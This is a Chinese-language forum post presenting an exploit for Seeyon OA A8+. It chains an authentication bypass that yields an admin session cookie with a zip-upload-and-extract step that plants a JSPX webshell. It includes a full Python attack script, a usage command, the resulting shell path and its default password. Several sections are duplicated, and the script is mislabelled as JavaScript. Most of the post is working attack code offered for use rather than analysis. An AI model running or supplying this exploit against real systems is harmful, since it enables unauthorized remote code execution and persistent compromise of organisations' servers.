- 注册
- 09 10, 2024
- 消息
- 186
## 漏洞概述 致远OA通过发送特殊请求获取session,通过文件上传接口上传压缩包解压后可Getshell。
## 影响范围
```http
A8+
```
## POC
大宝剑可批量扫描此漏洞,有误报性,配合EXP验证
## EXP
```bash
#脚本在此目录下
python session-rce.py http://192.168.1.100
```
```http
Shell地址:/seeyon/common/designer/pageLayout/a234.jspx
默认密码:rebeyond
```
## 影响范围
```http
A8+
```
## POC
大宝剑可批量扫描此漏洞,有误报性,配合EXP验证
## EXP
```bash
#脚本在此目录下
python session-rce.py http://192.168.1.100
```
```http
Shell地址:/seeyon/common/designer/pageLayout/a234.jspx
默认密码:rebeyond
```
JavaScript:
# coding: utf-8
import requests
import re
import time
import sys
#proxy = {'http': 'socks5://x.x.x:35601','https': 'socks5://x.x.x:35601'}
def seeyon_new_rce(targeturl):
orgurl = targeturl
# 通过请求直接获取管理员权限cookie
targeturl = orgurl + '/seeyon/thirdpartyController.do'
post={"method":"access","enc":"TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4","clientPath":"127.0.0.1"}
response = requests.post(url=targeturl,data=post, timeout=15,verify=False)
rsp = ""
if response and response.status_code == 200 and 'set-cookie' in str(response.headers).lower():
cookies = response.cookies
cookies = requests.utils.dict_from_cookiejar(cookies)
# 上传压缩文件
aaa=cookies['JSESSIONID']
print("获取Cookie成功:"+aaa+'\n')
targeturl = orgurl + '/seeyon/fileUpload.do?method=processUpload'
files = [('file1', ('113.png', open('1.zip', 'rb'), 'image/png'))]
headers = {'Cookie':"JSESSIONID=%s"%aaa}
data = {'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver':"false", "type": '0',
'isEncrypt': "0"}
response = requests.post(url=targeturl,files=files,data=data, headers=headers,timeout=15,verify=False)
if response.text:
reg = re.findall('fileurls=fileurls\+","\+\'(.+)\'',response.text,re.I)
print(reg)
if len(reg)==0:
exit("上传失败,无法GetShell")
fileid=reg[0]
targeturl = orgurl + '/seeyon/ajax.do'
datestr = time.strftime('%Y-%m-%d')
post = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + datestr + '%22%2C%22' + fileid + '%22%5D'
headers['Content-Type']="application/x-www-form-urlencoded"
response = requests.post(targeturl, data=post,headers=headers,timeout=15,verify=False)
if "details" in response.text and "Error" in response.text:
shell=url+'/seeyon/common/designer/pageLayout/a234.jspx'
print(response.text+'\t目标返回如上内容\n\nShell地址: '+shell)
else:
print("匹配失败,无法GetShell")
else:
print("获取Cookie失败")
if __name__=='__main__':
try:
url = sys.argv[1]
seeyon_new_rce(url)
except Exception as ex:
print(str(ex))
附件